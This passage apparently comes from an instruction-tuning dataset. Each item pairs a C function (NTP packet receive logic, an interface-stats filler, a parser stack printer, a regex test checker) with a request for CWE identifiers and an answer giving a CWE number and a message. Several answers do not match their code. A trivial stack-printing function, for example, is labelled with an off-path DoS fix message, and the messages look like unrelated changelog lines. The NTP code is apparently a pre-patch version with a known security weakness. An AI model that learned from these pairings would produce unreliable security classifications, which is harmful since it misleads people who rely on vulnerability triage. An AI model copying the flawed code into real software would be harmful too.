MODE_CLIENT, hisversion, peer2->minpoll,\n\t\t\t peer2->maxpoll, FLAG_PREEMPT |\n\t\t\t (FLAG_IBURST & peer2->flags), MDF_UCAST |\n\t\t\t MDF_UCLNT, 0, skeyid, sys_ident);\n\t\tif (NULL == peer) {\n\t\t\tsys_declined++;\n\t\t\treturn;\t\t\t/* ignore duplicate */\n\t\t}\n\n\t\t/*\n\t\t * After each ephemeral pool association is spun,\n\t\t * accelerate the next poll for the pool solicitor so\n\t\t * the pool will fill promptly.\n\t\t */\n\t\tif (peer2->cast_flags & MDF_POOL)\n\t\t\tpeer2->nextdate = current_time + 1;\n\n\t\t/*\n\t\t * Further processing of the solicitation response would\n\t\t * simply detect its origin timestamp as bogus for the\n\t\t * brand-new association (it matches the prototype\n\t\t * association) and tinker with peer->nextdate delaying\n\t\t * first sync.\n\t\t */\n\t\treturn;\t\t/* solicitation response handled */\n\n\t/*\n\t * This is the first packet received from a broadcast server. If\n\t * the packet is authentic and we are enabled as broadcast\n\t * client, mobilize a broadcast client association. We don't\n\t * kiss any frogs here.\n\t */\n\tcase AM_NEWBCL:\n\n#ifdef AUTOKEY\n\t\t/*\n\t\t * Do not respond if not the same group.\n\t\t */\n\t\tif (group_test(groupname, sys_ident)) {\n\t\t\tsys_declined++;\n\t\t\treturn;\n\t\t}\n#endif /* AUTOKEY */\n\t\tif (sys_bclient == 0) {\n\t\t\tsys_restricted++;\n\t\t\treturn;\t\t\t/* not enabled */\n\t\t}\n\t\tif (!AUTH(sys_authenticate | (restrict_mask &\n\t\t (RES_NOPEER | RES_DONTTRUST)), is_authentic)) {\n\t\t\tsys_restricted++;\n\t\t\treturn;\t\t\t/* access denied */\n\t\t}\n\n\t\t/*\n\t\t * Do not respond if unsynchronized or stratum is below\n\t\t * the floor or at or above the ceiling.\n\t\t */\n\t\tif ( hisleap == LEAP_NOTINSYNC\n\t\t || hisstratum < sys_floor\n\t\t || hisstratum >= sys_ceiling) {\n\t\t\tsys_declined++;\n\t\t\treturn;\t\t\t/* no help */\n\t\t}\n\n#ifdef AUTOKEY\n\t\t/*\n\t\t * Do not respond if Autokey and the opcode is not a\n\t\t * CRYPTO_ASSOC response with association ID.\n\t\t */\n\t\tif ( crypto_flags && skeyid > NTP_MAXKEY\n\t\t && (opcode & 0xffff0000) != (CRYPTO_ASSOC | CRYPTO_RESP)) {\n\t\t\tsys_declined++;\n\t\t\treturn;\t\t\t/* protocol error */\n\t\t}\n#endif\t/* AUTOKEY */\n\n\t\t/*\n\t\t * Broadcasts received via a multicast address may\n\t\t * arrive after a unicast volley has begun\n\t\t * with the same remote address. newpeer() will not\n\t\t * find duplicate associations on other local endpoints\n\t\t * if a non-NULL endpoint is supplied. multicastclient\n\t\t * ephemeral associations are unique across all local\n\t\t * endpoints.\n\t\t */\n\t\tif (!(INT_MCASTOPEN & rbufp->dstadr->flags))\n\t\t\tmatch_ep = rbufp->dstadr;\n\t\telse\n\t\t\tmatch_ep = NULL;\n\n\t\t/*\n\t\t * Determine whether to execute the initial volley.\n\t\t */\n\t\tif (sys_bdelay != 0) {\n#ifdef AUTOKEY\n\t\t\t/*\n\t\t\t * If a two-way exchange is not possible,\n\t\t\t * neither is Autokey.\n\t\t\t */\n\t\t\tif (crypto_flags && skeyid > NTP_MAXKEY) {\n\t\t\t\tsys_restricted++;\n\t\t\t\treturn;\t\t/* no autokey */\n\t\t\t}\n#endif\t/* AUTOKEY */\n\n\t\t\t/*\n\t\t\t * Do not execute the volley. Start out in\n\t\t\t * broadcast client mode.\n\t\t\t */\n\t\t\tpeer = newpeer(&rbufp->recv_srcadr, NULL,\n\t\t\t match_ep, MODE_BCLIENT, hisversion,\n\t\t\t pkt->ppoll, pkt->ppoll, FLAG_PREEMPT,\n\t\t\t MDF_BCLNT, 0, skeyid, sys_ident);\n\t\t\tif (NULL == peer) {\n\t\t\t\tsys_restricted++;\n\t\t\t\treturn;\t\t/* ignore duplicate */\n\n\t\t\t} else {\n\t\t\t\tpeer->delay = sys_bdelay;\n\t\t\t\tpeer->bxmt = p_xmt;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\t/*\n\t\t * Execute the initial volley in order to calibrate the\n\t\t * propagation delay and run the Autokey protocol.\n\t\t *\n\t\t * Note that the minpoll is taken from the broadcast\n\t\t * packet, normally 6 (64 s) and that the poll interval\n\t\t * is fixed at this value.\n\t\t */\n\t\tpeer = newpeer(&rbufp->recv_srcadr, NULL, match_ep,\n\t\t MODE_CLIENT, hisversion, pkt->ppoll, pkt->ppoll,\n\t\t FLAG_BC_VOL | FLAG_IBURST | FLAG_PREEMPT, MDF_BCLNT,\n\t\t 0, skeyid, sys_ident);\n\t\tif (NULL == peer) {\n\t\t\tsys_restricted++;\n\t\t\treturn;\t\t\t/* ignore duplicate */\n\t\t}\n\t\tpeer->bxmt = p_xmt;\n#ifdef AUTOKEY\n\t\tif (skeyid > NTP_MAXKEY)\n\t\t\tcrypto_recv(peer, rbufp);\n#endif\t/* AUTOKEY */\n\n\t\treturn;\t\t\t\t/* hooray */\n\n\t/*\n\t * This is the first packet received from a symmetric active\n\t * peer. If the packet is authentic and the first he sent,\n\t * mobilize a passive association. If not, kiss the frog.\n\t */\n\tcase AM_NEWPASS:\n\n#ifdef AUTOKEY\n\t\t/*\n\t\t * Do not respond if not the same group.\n\t\t */\n\t\tif (group_test(groupname, sys_ident)) {\n\t\t\tsys_declined++;\n\t\t\treturn;\n\t\t}\n#endif /* AUTOKEY */\n\t\tif (!AUTH(sys_authenticate | (restrict_mask &\n\t\t (RES_NOPEER | RES_DONTTRUST)), is_authentic)) {\n\n\t\t\t/*\n\t\t\t * If authenticated but cannot mobilize an\n\t\t\t * association, send a symmetric passive\n\t\t\t * response without mobilizing an association.\n\t\t\t * This is for drat broken Windows clients. See\n\t\t\t * Microsoft KB 875424 for preferred workaround.\n\t\t\t */\n\t\t\tif (AUTH(restrict_mask & RES_DONTTRUST,\n\t\t\t is_authentic)) {\n\t\t\t\tfast_xmit(rbufp, MODE_PASSIVE, skeyid,\n\t\t\t\t restrict_mask);\n\t\t\t\treturn;\t\t\t/* hooray */\n\t\t\t}\n\t\t\tif (is_authentic == AUTH_ERROR) {\n\t\t\t\tfast_xmit(rbufp, MODE_ACTIVE, 0,\n\t\t\t\t restrict_mask);\n\t\t\t\tsys_restricted++;\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t/* [Bug 2941]\n\t\t\t * If we got here, the packet isn't part of an\n\t\t\t * existing association, it isn't correctly\n\t\t\t * authenticated, and it didn't meet either of\n\t\t\t * the previous two special cases so we should\n\t\t\t * just drop it on the floor. For example,\n\t\t\t * crypto-NAKs (is_authentic == AUTH_CRYPTO)\n\t\t\t * will make it this far. This is just\n\t\t\t * debug-printed and not logged to avoid log\n\t\t\t * flooding.\n\t\t\t */\n\t\t\tDPRINTF(2, (\"receive: at %ld refusing to mobilize passive association\"\n\t\t\t\t \" with unknown peer %s mode %d/%s:%s keyid %08x len %d auth %d\\n\",\n\t\t\t\t current_time, stoa(&rbufp->recv_srcadr),\n\t\t\t\t hismode, hm_str, am_str, skeyid,\n\t\t\t\t (authlen + has_mac), is_authentic));\n\t\t\tsys_declined++;\n\t\t\treturn;\n\t\t}\n\n\t\t/*\n\t\t * Do not respond if synchronized and if stratum is\n\t\t * below the floor or at or above the ceiling. Note,\n\t\t * this allows an unsynchronized peer to synchronize to\n\t\t * us. It would be very strange if he did and then was\n\t\t * nipped, but that could only happen if we were\n\t\t * operating at the top end of the range. It also means\n\t\t * we will spin an ephemeral association in response to\n\t\t * MODE_ACTIVE KoDs, which will time out eventually.\n\t\t */\n\t\tif ( hisleap != LEAP_NOTINSYNC\n\t\t && (hisstratum < sys_floor || hisstratum >= sys_ceiling)) {\n\t\t\tsys_declined++;\n\t\t\treturn;\t\t\t/* no help */\n\t\t}\n\n\t\t/*\n\t\t * The message is correctly authenticated and allowed.\n\t\t * Mobilize a symmetric passive association.\n\t\t */\n\t\tif ((peer = newpeer(&rbufp->recv_srcadr, NULL,\n\t\t rbufp->dstadr, MODE_PASSIVE, hisversion, pkt->ppoll,\n\t\t NTP_MAXDPOLL, 0, MDF_UCAST, 0, skeyid,\n\t\t sys_ident)) == NULL) {\n\t\t\tsys_declined++;\n\t\t\treturn;\t\t\t/* ignore duplicate */\n\t\t}\n\t\tbreak;\n\n\n\t/*\n\t * Process regular packet. Nothing special.\n\t */\n\tcase AM_PROCPKT:\n\n#ifdef AUTOKEY\n\t\t/*\n\t\t * Do not respond if not the same group.\n\t\t */\n\t\tif (group_test(groupname, peer->ident)) {\n\t\t\tsys_declined++;\n\t\t\treturn;\n\t\t}\n#endif /* AUTOKEY */\n\n\t\tif (MODE_BROADCAST == hismode) {\n\t\t\tu_char poll;\n\t\t\tint bail = 0;\n\n\t\t\tDPRINTF(2, (\"receive: PROCPKT/BROADCAST: prev pkt %ld seconds ago, ppoll: %d, %d secs\\n\",\n\t\t\t\t (current_time - peer->timelastrec),\n\t\t\t\t peer->ppoll, (1 << peer->ppoll)\n\t\t\t\t ));\n\t\t\t/* Things we can check:\n\t\t\t *\n\t\t\t * Did the poll interval change?\n\t\t\t * Is the poll interval in the packet in-range?\n\t\t\t * Did this packet arrive too soon?\n\t\t\t * Is the timestamp in this packet monotonic\n\t\t\t * with respect to the previous packet?\n\t\t\t */\n\n\t\t\t/* This is noteworthy, not error-worthy */\n\t\t\tif (pkt->ppoll != peer->ppoll) {\n\t\t\t\tmsyslog(LOG_INFO, \"receive: broadcast poll from %s changed from %ud to %ud\",\n\t\t\t\t\tstoa(&rbufp->recv_srcadr),\n\t\t\t\t\tpeer->ppoll, pkt->ppoll);\n\t\t\t}\n\n\t\t\tpoll = min(peer->maxpoll,\n\t\t\t\t max(peer->minpoll, pkt->ppoll));\n\n\t\t\t/* This is error-worthy */\n\t\t\tif (pkt->ppoll != poll) {\n\t\t\t\tmsyslog(LOG_INFO, \"receive: broadcast poll of %ud from %s is out-of-range (%d to %d)!\",\n\t\t\t\t\tpkt->ppoll, stoa(&rbufp->recv_srcadr),\n\t\t\t\t\tpeer->minpoll, peer->maxpoll);\n\t\t\t\t++bail;\n\t\t\t}\n\n\t\t\tif ( (current_time - peer->timelastrec)\n\t\t\t < (1 << pkt->ppoll)) {\n\t\t\t\tmsyslog(LOG_INFO, \"receive: broadcast packet from %s arrived after %ld, not %d seconds!\",\n\t\t\t\t\tstoa(&rbufp->recv_srcadr),\n\t\t\t\t\t(current_time - peer->timelastrec),\n\t\t\t\t\t(1 << pkt->ppoll)\n\t\t\t\t\t);\n\t\t\t\t++bail;\n\t\t\t}\n\n\t\t\tif (L_ISGT(&peer->bxmt, &p_xmt)) {\n\t\t\t\tmsyslog(LOG_INFO, \"receive: broadcast packet from %s contains non-monotonic timestamp: %#010x.%08x -> %#010x.%08x\",\n\t\t\t\t\tstoa(&rbufp->recv_srcadr),\n\t\t\t\t\tpeer->bxmt.l_ui, peer->bxmt.l_uf,\n\t\t\t\t\tp_xmt.l_ui, p_xmt.l_uf\n\t\t\t\t\t);\n\t\t\t\t++bail;\n\t\t\t}\n\n\t\t\tpeer->bxmt = p_xmt;\n\n\t\t\tif (bail) {\n\t\t\t\tpeer->timelastrec = current_time;\n\t\t\t\tsys_declined++;\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tbreak;\n\n\t/*\n\t * A passive packet matches a passive association. This is\n\t * usually the result of reconfiguring a client on the fly. As\n\t * this association might be legitimate and this packet an\n\t * attempt to deny service, just ignore it.\n\t */\n\tcase AM_ERR:\n\t\tsys_declined++;\n\t\treturn;\n\n\t/*\n\t * For everything else there is the bit bucket.\n\t */\n\tdefault:\n\t\tsys_declined++;\n\t\treturn;\n\t}\n\n#ifdef AUTOKEY\n\t/*\n\t * If the association is configured for Autokey, the packet must\n\t * have a public key ID; if not, the packet must have a\n\t * symmetric key ID.\n\t */\n\tif ( is_authentic != AUTH_CRYPTO\n\t && ( ((peer->flags & FLAG_SKEY) && skeyid <= NTP_MAXKEY)\n\t || (!(peer->flags & FLAG_SKEY) && skeyid > NTP_MAXKEY))) {\n\t\tsys_badauth++;\n\t\treturn;\n\t}\n#endif\t/* AUTOKEY */\n\tpeer->received++;\n\tpeer->flash &= ~PKT_TEST_MASK;\n\tif (peer->flags & FLAG_XBOGUS) {\n\t\tpeer->flags &= ~FLAG_XBOGUS;\n\t\tpeer->flash |= TEST3;\n\t}\n\n\t/*\n\t * Next comes a rigorous schedule of timestamp checking. If the\n\t * transmit timestamp is zero, the server has not initialized in\n\t * interleaved modes or is horribly broken.\n\t */\n\tif (L_ISZERO(&p_xmt)) {\n\t\tpeer->flash |= TEST3;\t\t\t/* unsynch */\n\n\t/*\n\t * If the transmit timestamp duplicates a previous one, the\n\t * packet is a replay. This prevents the bad guys from replaying\n\t * the most recent packet, authenticated or not.\n\t */\n\t} else if (L_ISEQU(&peer->xmt, &p_xmt)) {\n\t\tpeer->flash |= TEST1;\t\t\t/* duplicate */\n\t\tpeer->oldpkt++;\n\t\treturn;\n\n\t/*\n\t * If this is a broadcast mode packet, skip further checking. If\n\t * an initial volley, bail out now and let the client do its\n\t * stuff. If the origin timestamp is nonzero, this is an\n\t * interleaved broadcast. so restart the protocol.\n\t */\n\t} else if (hismode == MODE_BROADCAST) {\n\t\tif (!L_ISZERO(&p_org) && !(peer->flags & FLAG_XB)) {\n\t\t\tpeer->flags |= FLAG_XB;\n\t\t\tpeer->aorg = p_xmt;\n\t\t\tpeer->borg = rbufp->recv_time;\n\t\t\treport_event(PEVNT_XLEAVE, peer, NULL);\n\t\t\treturn;\n\t\t}\n\n\t/*\n\t * Basic mode checks:\n\t *\n\t * If there is no origin timestamp, it's an initial packet.\n\t *\n\t * Otherwise, check for bogus packet in basic mode.\n\t * If it is bogus, switch to interleaved mode and resynchronize,\n\t * but only after confirming the packet is not bogus in\n\t * symmetric interleaved mode.\n\t *\n\t * This could also mean somebody is forging packets claiming to\n\t * be from us, attempting to cause our server to KoD us.\n\t */\n\t} else if (peer->flip == 0) {\n\t\tif (0 < hisstratum && L_ISZERO(&p_org)) {\n\t\t\tL_CLR(&peer->aorg);\n\t\t} else if (!L_ISEQU(&p_org, &peer->aorg)) {\n\t\t\tpeer->bogusorg++;\n\t\t\tpeer->flash |= TEST2;\t/* bogus */\n\t\t\tmsyslog(LOG_INFO,\n\t\t\t\t\"receive: Unexpected origin timestamp %#010x.%08x from %s xmt %#010x.%08x\",\n\t\t\t\tntohl(pkt->org.l_ui), ntohl(pkt->org.l_uf),\n\t\t\t\tntoa(&peer->srcadr),\n\t\t\t\tntohl(pkt->xmt.l_ui), ntohl(pkt->xmt.l_uf));\n\t\t\tif ( !L_ISZERO(&peer->dst)\n\t\t\t && L_ISEQU(&p_org, &peer->dst)) {\n\t\t\t\t/* Might be the start of an interleave */\n\t\t\t\tpeer->flip = 1;\n\t\t\t\treport_event(PEVNT_XLEAVE, peer, NULL);\n\t\t\t}\n\t\t\treturn; /* Bogus or possible interleave packet */\n\t\t} else {\n\t\t\tL_CLR(&peer->aorg);\n\t\t}\n\n\t/*\n\t * Check for valid nonzero timestamp fields.\n\t */\n\t} else if (L_ISZERO(&p_org) || L_ISZERO(&p_rec) ||\n\t L_ISZERO(&peer->dst)) {\n\t\tpeer->flash |= TEST3;\t\t/* unsynch */\n\n\t/*\n\t * Check for bogus packet in interleaved symmetric mode. This\n\t * can happen if a packet is lost, duplicated or crossed. If\n\t * found, flip and resynchronize.\n\t */\n\t} else if ( !L_ISZERO(&peer->dst)\n\t\t && !L_ISEQU(&p_org, &peer->dst)) {\n\t\tpeer->bogusorg++;\n\t\tpeer->flags |= FLAG_XBOGUS;\n\t\tpeer->flash |= TEST2;\t\t/* bogus */\n\t\treturn; /* Bogus packet, we are done */\n\t}\n\n\t/*\n\t * If this is a crypto_NAK, the server cannot authenticate a\n\t * client packet. The server might have just changed keys. Clear\n\t * the association and restart the protocol.\n\t */\n\tif (is_authentic == AUTH_CRYPTO) {\n\t\treport_event(PEVNT_AUTH, peer, \"crypto_NAK\");\n\t\tpeer->flash |= TEST5;\t\t/* bad auth */\n\t\tpeer->badauth++;\n\t\tif (peer->flags & FLAG_PREEMPT) {\n\t\t\tunpeer(peer);\n\t\t\treturn;\n\t\t}\n#ifdef AUTOKEY\n\t\tif (peer->crypto)\n\t\t\tpeer_clear(peer, \"AUTH\");\n#endif\t/* AUTOKEY */\n\t\treturn;\n\n\t/*\n\t * If the digest fails or it's missing for authenticated\n\t * associations, the client cannot authenticate a server\n\t * reply to a client packet previously sent. The loopback check\n\t * is designed to avoid a bait-and-switch attack, which was\n\t * possible in past versions. If symmetric modes, return a\n\t * crypto-NAK. The peer should restart the protocol.\n\t */\n\t} else if (!AUTH(peer->keyid || has_mac ||\n\t\t\t (restrict_mask & RES_DONTTRUST), is_authentic)) {\n\t\treport_event(PEVNT_AUTH, peer, \"digest\");\n\t\tpeer->flash |= TEST5;\t\t/* bad auth */\n\t\tpeer->badauth++;\n\t\tif ( has_mac\n\t\t && (hismode == MODE_ACTIVE || hismode == MODE_PASSIVE))\n\t\t\tfast_xmit(rbufp, MODE_ACTIVE, 0, restrict_mask);\n\t\tif (peer->flags & FLAG_PREEMPT) {\n\t\t\tunpeer(peer);\n\t\t\treturn;\n\t\t}\n#ifdef AUTOKEY\n\t\tif (peer->crypto)\n\t\t\tpeer_clear(peer, \"AUTH\");\n#endif\t/* AUTOKEY */\n\t\treturn;\n\t}\n\n\t/*\n\t * Update the state variables.\n\t */\n\tif (peer->flip == 0) {\n\t\tif (hismode != MODE_BROADCAST)\n\t\t\tpeer->rec = p_xmt;\n\t\tpeer->dst = rbufp->recv_time;\n\t}\n\tpeer->xmt = p_xmt;\n\n\t/*\n\t * Set the peer ppoll to the maximum of the packet ppoll and the\n\t * peer minpoll. If a kiss-o'-death, set the peer minpoll to\n\t * this maximum and advance the headway to give the sender some\n\t * headroom. Very intricate.\n\t */\n\n\t/*\n\t * Check for any kiss codes. Note this is only used when a server\n\t * responds to a packet request\n\t */\n\n\tkissCode = kiss_code_check(hisleap, hisstratum, hismode, pkt->refid);\n\n\t/*\n\t * Check to see if this is a RATE Kiss Code\n\t * Currently this kiss code will accept whatever poll\n\t * rate that the server sends\n\t */\n\tpeer->ppoll = max(peer->minpoll, pkt->ppoll);\n\tif (kissCode == RATEKISS) {\n\t\tpeer->selbroken++;\t/* Increment the KoD count */\n\t\treport_event(PEVNT_RATE, peer, NULL);\n\t\tif (pkt->ppoll > peer->minpoll)\n\t\t\tpeer->minpoll = peer->ppoll;\n\t\tpeer->burst = peer->retry = 0;\n\t\tpeer->throttle = (NTP_SHIFT + 1) * (1 << peer->minpoll);\n\t\tpoll_update(peer, pkt->ppoll);\n\t\treturn;\t\t\t\t/* kiss-o'-death */\n\t}\n\tif (kissCode != NOKISS) {\n\t\tpeer->selbroken++;\t/* Increment the KoD count */\n\t\treturn;\t\t/* Drop any other kiss code packets */\n\t}\n\n\n\t/*\n\t * That was hard and I am sweaty, but the packet is squeaky\n\t * clean. Get on with real work.\n\t */\n\tpeer->timereceived = current_time;\n\tpeer->timelastrec = current_time;\n\tif (is_authentic == AUTH_OK)\n\t\tpeer->flags |= FLAG_AUTHENTIC;\n\telse\n\t\tpeer->flags &= ~FLAG_AUTHENTIC;\n\n#ifdef AUTOKEY\n\t/*\n\t * More autokey dance. The rules of the cha-cha are as follows:\n\t *\n\t * 1. If there is no key or the key is not auto, do nothing.\n\t *\n\t * 2. If this packet is in response to the one just previously\n\t * sent or from a broadcast server, do the extension fields.\n\t * Otherwise, assume bogosity and bail out.\n\t *\n\t * 3. If an extension field contains a verified signature, it is\n\t * self-authenticated and we sit the dance.\n\t *\n\t * 4. If this is a server reply, check only to see that the\n\t * transmitted key ID matches the received key ID.\n\t *\n\t * 5. Check to see that one or more hashes of the current key ID\n\t * matches the previous key ID or ultimate original key ID\n\t * obtained from the broadcaster or symmetric peer. If no\n\t * match, sit the dance and call for new autokey values.\n\t *\n\t * In case of crypto error, fire the orchestra, stop dancing and\n\t * restart the protocol.\n\t */\n\tif (peer->flags & FLAG_SKEY) {\n\t\t/*\n\t\t * Decrement remaining autokey hashes. This isn't\n\t\t * perfect if a packet is lost, but results in no harm.\n\t\t */\n\t\tap = (struct autokey *)peer->recval.ptr;\n\t\tif (ap != NULL) {\n\t\t\tif (ap->seq > 0)\n\t\t\t\tap->seq--;\n\t\t}\n\t\tpeer->flash |= TEST8;\n\t\trval = crypto_recv(peer, rbufp);\n\t\tif (rval == XEVNT_OK) {\n\t\t\tpeer->unreach = 0;\n\t\t} else {\n\t\t\tif (rval == XEVNT_ERR) {\n\t\t\t\treport_event(PEVNT_RESTART, peer,\n\t\t\t\t \"crypto error\");\n\t\t\t\tpeer_clear(peer, \"CRYP\");\n\t\t\t\tpeer->flash |= TEST9;\t/* bad crypt */\n\t\t\t\tif (peer->flags & FLAG_PREEMPT)\n\t\t\t\t\tunpeer(peer);\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\n\t\t/*\n\t\t * If server mode, verify the receive key ID matches\n\t\t * the transmit key ID.\n\t\t */\n\t\tif (hismode == MODE_SERVER) {\n\t\t\tif (skeyid == peer->keyid)\n\t\t\t\tpeer->flash &= ~TEST8;\n\n\t\t/*\n\t\t * If an extension field is present, verify only that it\n\t\t * has been correctly signed. We don't need a sequence\n\t\t * check here, but the sequence continues.\n\t\t */\n\t\t} else if (!(peer->flash & TEST8)) {\n\t\t\tpeer->pkeyid = skeyid;\n\n\t\t/*\n\t\t * Now the fun part. Here, skeyid is the current ID in\n\t\t * the packet, pkeyid is the ID in the last packet and\n\t\t * tkeyid is the hash of skeyid. If the autokey values\n\t\t * have not been received, this is an automatic error.\n\t\t * If so, check that the tkeyid matches pkeyid. If not,\n\t\t * hash tkeyid and try again. If the number of hashes\n\t\t * exceeds the number remaining in the sequence, declare\n\t\t * a successful failure and refresh the autokey values.\n\t\t */\n\t\t} else if (ap != NULL) {\n\t\t\tint i;\n\n\t\t\tfor (i = 0; ; i++) {\n\t\t\t\tif ( tkeyid == peer->pkeyid\n\t\t\t\t || tkeyid == ap->key) {\n\t\t\t\t\tpeer->flash &= ~TEST8;\n\t\t\t\t\tpeer->pkeyid = skeyid;\n\t\t\t\t\tap->seq -= i;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tif (i > ap->seq) {\n\t\t\t\t\tpeer->crypto &=\n\t\t\t\t\t ~CRYPTO_FLAG_AUTO;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\ttkeyid = session_key(\n\t\t\t\t &rbufp->recv_srcadr, dstadr_sin,\n\t\t\t\t tkeyid, pkeyid, 0);\n\t\t\t}\n\t\t\tif (peer->flash & TEST8)\n\t\t\t\treport_event(PEVNT_AUTH, peer, \"keylist\");\n\t\t}\n\t\tif (!(peer->crypto & CRYPTO_FLAG_PROV)) /* test 9 */\n\t\t\tpeer->flash |= TEST8;\t/* bad autokey */\n\n\t\t/*\n\t\t * The maximum lifetime of the protocol is about one\n\t\t * week before restarting the Autokey protocol to\n\t\t * refresh certificates and leapseconds values.\n\t\t */\n\t\tif (current_time > peer->refresh) {\n\t\t\treport_event(PEVNT_RESTART, peer,\n\t\t\t \"crypto refresh\");\n\t\t\tpeer_clear(peer, \"TIME\");\n\t\t\treturn;\n\t\t}\n\t}\n#endif\t/* AUTOKEY */\n\n\t/*\n\t * The dance is complete and the flash bits have been lit. Toss\n\t * the packet over the fence for processing, which may light up\n\t * more flashers.\n\t */\n\tprocess_packet(peer, pkt, rbufp->recv_length);\n\n\t/*\n\t * In interleaved mode update the state variables. Also adjust the\n\t * transmit phase to avoid crossover.\n\t */\n\tif (peer->flip != 0) {\n\t\tpeer->rec = p_rec;\n\t\tpeer->dst = rbufp->recv_time;\n\t\tif (peer->nextdate - current_time < (1U << min(peer->ppoll,\n\t\t peer->hpoll)) / 2)\n\t\t\tpeer->nextdate++;\n\t\telse\n\t\t\tpeer->nextdate--;\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-254'], 'message': '[Sec 2935] use L_SUB instead of L_ISGT. Juergen Perlinger'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: fill_info_if_stats(void *data, interface_info_t *interface_info)\n{\n\tstruct info_if_stats **ifsp = (struct info_if_stats **)data;\n\tstruct info_if_stats *ifs = *ifsp;\n\tendpt *ep = interface_info->ep;\n\t\n\tZERO(*ifs);\n\t\n\tif (IS_IPV6(&ep->sin)) {\n\t\tif (!client_v6_capable) {\n\t\t\treturn;\n\t\t}\n\t\tifs->v6_flag = 1;\n\t\tifs->unaddr.addr6 = SOCK_ADDR6(&ep->sin);\n\t\tifs->unbcast.addr6 = SOCK_ADDR6(&ep->bcast);\n\t\tifs->unmask.addr6 = SOCK_ADDR6(&ep->mask);\n\t} else {\n\t\tifs->v6_flag = 0;\n\t\tifs->unaddr.addr = SOCK_ADDR4(&ep->sin);\n\t\tifs->unbcast.addr = SOCK_ADDR4(&ep->bcast);\n\t\tifs->unmask.addr = SOCK_ADDR4(&ep->mask);\n\t}\n\tifs->v6_flag = htonl(ifs->v6_flag);\n\tstrlcpy(ifs->name, ep->name, sizeof(ifs->name));\n\tifs->family = htons(ep->family);\n\tifs->flags = htonl(ep->flags);\n\tifs->last_ttl = htonl(ep->last_ttl);\n\tifs->num_mcast = htonl(ep->num_mcast);\n\tifs->received = htonl(ep->received);\n\tifs->sent = htonl(ep->sent);\n\tifs->notsent = htonl(ep->notsent);\n\tifs->ifindex = htonl(ep->ifindex);\n\t/* scope no longer in endpt, in in6_addr typically */\n\tifs->scopeid = ifs->ifindex;\n\tifs->ifnum = htonl(ep->ifnum);\n\tifs->uptime = htonl(current_time - ep->starttime);\n\tifs->ignore_packets = ep->ignore_packets;\n\tifs->peercnt = htonl(ep->peercnt);\n\tifs->action = interface_info->action;\n\t\n\t*ifsp = (struct info_if_stats *)more_pkt();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': '[Bug 2939] reslist NULL pointer dereference\n[Bug 2940] Stack exhaustion in recursive traversal of restriction list\n -- these two where fixed together --'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: yy_stack_print (yytype_int16 *yybottom, yytype_int16 *yytop)\n{\n YYFPRINTF (stderr, \"Stack now\");\n for (; yybottom <= yytop; yybottom++)\n {\n int yybot = *yybottom;\n YYFPRINTF (stderr, \" %d\", yybot);\n }\n YYFPRINTF (stderr, \"\\n\");\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-19'], 'message': '[Sec 2942]: Off-path DoS attack on auth broadcast mode. HStenn.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: check(str, sub, should)\nchar *str;\nmy_regmatch_t sub;\nchar *should;\n{\n\tregister int len;\n\tregister int shlen;\n\tregister char *p;\n\tstatic char grump[500];\n\tregister char *at = NULL;\n\n\tif (should != NULL && strcmp(should, \"-\") == 0)\n\t\tshould = NULL;\n\tif (should != NULL && should[0] == '@') {\n\t\tat = should + 1;\n\t\tshould = (char*) \"\";\n\t}\n\n\t/* check rm_so and rm_eo for consistency */\n\tif (sub.rm_so > sub.rm_eo || (sub.rm_so == -1 && sub.rm_eo != -1) ||\n\t\t\t\t(sub.rm_so != -1 && sub.rm_eo == -1) ||\n\t\t\t\t(sub.rm_so != -1 && sub.rm_so < 0) ||\n\t\t\t\t(sub.rm_eo != -1 && sub.rm_eo < 0) ) {\n\t\tsprintf(grump, \"start %ld end %ld\", (long)sub.rm_so,\n\t\t\t\t\t\t\t(long)sub.rm_eo);\n\t\treturn(grump);\n\t}\n\n\t/* check for no match */\n\tif (sub.rm_so == -1 && should == NULL)\n\t\treturn(NULL);\n\tif (sub.rm_so == -1)\n\t\treturn((char*) \"did not match\");\n\n\t/* check for in range */\n\tif ((int) sub.rm_eo > (int) strlen(str)) {\n\t\tsprintf(grump, \"start %ld end %ld, past end of string\",\n\t\t\t\t\t(long)sub.rm_so, (long)sub.rm_eo);\n\t\treturn(grump);\n\t}\n\n\tlen = (int)(sub.rm_eo - sub.rm_so);\n\tshlen = (int)strlen(should);\n\tp = str + sub.rm_so;\n\n\t/* check for not supposed to match */\n\tif (should == NULL) {\n\t\tsprintf(grump, \"matched `%.*s'\", len, p);\n\t\treturn(grump);\n\t}\n\n\t/* check for wrong match */\n\tif (len != shlen || strncmp(p, should, (size_t)shlen) != 0) {\n\t\tsprintf(grump, \"matched `%.*s' instead\", len, p);\n\t\treturn(grump);\n\t}\n\tif (shlen > 0)\n\t\treturn(NULL);\n\n\t/* check null match in right place */\n\tif (at == NULL)\n\t\treturn(NULL);\n\tshlen = strlen(at);\n\tif (shlen == 0)\n\t\tshlen = 1;\t/* force check for end-of-string */\n\tif (strncmp(p, at, shlen) != 0) {\n\t\tsprintf(grump, \"matched null at `%.20s'\", p);\n\t\treturn(grump);\n\t}\n\treturn(NULL);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'Bug#21973610: 